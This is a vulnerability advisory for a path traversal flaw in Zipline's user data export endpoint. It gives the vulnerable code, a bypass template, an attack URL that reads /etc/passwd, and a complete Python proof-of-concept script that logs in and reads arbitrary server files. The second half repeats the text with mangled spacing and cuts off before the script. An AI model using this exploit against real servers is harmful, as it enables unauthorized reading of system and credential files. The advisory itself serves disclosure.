Summary
Affecting Zipline >=3.4.5, a path traversal vulnerability has been present in the user data exporter, allowing an authenticated user to read any file on the server host.
Details
Here is the vulnerable code:
[...]
const export_name = req.query.name as string;
if (export_name) {
const parts = export_name.split('_');
if (Number(parts[2]) !== user.id) return res.unauthorized('cannot access export owned by another user');
const stream = createReadStream(join(config.core.temp_directory, export_name));
[...]
stream.pipe(res);
}
[...]
In the code snippet the export_name
is given as a query parameter, and the only check is that between the second and the third underscore in the string, must be the user's id. Continuing, the export_name
is being joined with the temporary directory, to create the path to read from. The content of the file is sent to the client.
One can easily bypass the user id check by adding __[id]_
to the path. To then not have to include the user id in the file path, the attacker can navigate into the __[id]_
directory, then back out. The following template can be used: ../../__[id]_/../[file path to read, from root]
. The user id can easily be found by clicking on the username in the top right of the website, and it should show in a parenthesis. It can also be found through the API. The final attack URL can be http://localhost:3000/api/user/export?name=../../__1_/../etc/passwd
, which reads the sensitive /etc/passwd
file from the server.
../../
goes from /etc/zipline
to the root (/
)
__1_/
navigates into a fake directory named after the user id to bypass the user check
../
navigates out of this fictional directory
etc/passwd
the file to read
PoC
To demonstrate the above, here is an example Python script:
#!/bin/python3
import requests
server = input("Zipline URL (example: http://localhost:3000): ")
username = input("Username: ")
password = input("Password: ")
file_path = input("File path (example: etc/password): ")
# Create a session to store cookies
s = requests.Session()
# Authenticate using credentials defined
login = s.post(
f"{server}/api/auth/login",
json={"username": username, "password": password},
verify=False,
)
if login.status_code != 200:
print(f"Failed authentication with Zipline: {login.text}")
exit(1)
print(f"Successfully authenticated with Zipline")
# Fetch user data to get user id
user = s.get(f"{server}/api/user", verify=False)
if user.status_code != 200:
print(f"Failed to get user data: {user.text}")
exit(1)
id = user.json().get("id")
print(f"Successfully fetched user data, account is id {id}")
# Attempt to read the `/etc/passwd` file
url = f"{server}/api/user/export?name=../../__{id}_/../{file_path}"
print(f"Attack URL: {url}")
attack = s.get(url, verify=False)
if attack.status_code != 200:
print(f"Failed attacking Zipline: {login.text}")
exit(1)
print(f"Successfully read file: {attack.text}")
Summary
Affecting Zipline >=3.4.5, a path traversal vulnerability has been present in the user data exporter, allowing an authenticated user to read any file on the server host.
Details
Here is the vulnerable code:
In the code snippet the
export_name
is given as a query parameter, and the only check is that between the second and the third underscore in the string, must be the user's id. Continuing, theexport_name
is being joined with the temporary directory, to create the path to read from. The content of the file is sent to the client.One can easily bypass the user id check by adding
__[id]_
to the path. To then not have to include the user id in the file path, the attacker can navigate into the__[id]_
directory, then back out. The following template can be used:../../__[id]_/../[file path to read, from root]
. The user id can easily be found by clicking on the username in the top right of the website, and it should show in a parenthesis. It can also be found through the API. The final attack URL can behttp://localhost:3000/api/user/export?name=../../__1_/../etc/passwd
, which reads the sensitive/etc/passwd
file from the server.../../
goes from/etc/zipline
to the root (/
)__1_/
navigates into a fake directory named after the user id to bypass the user check../
navigates out of this fictional directoryetc/passwd
the file to readPoC
To demonstrate the above, here is an example Python script: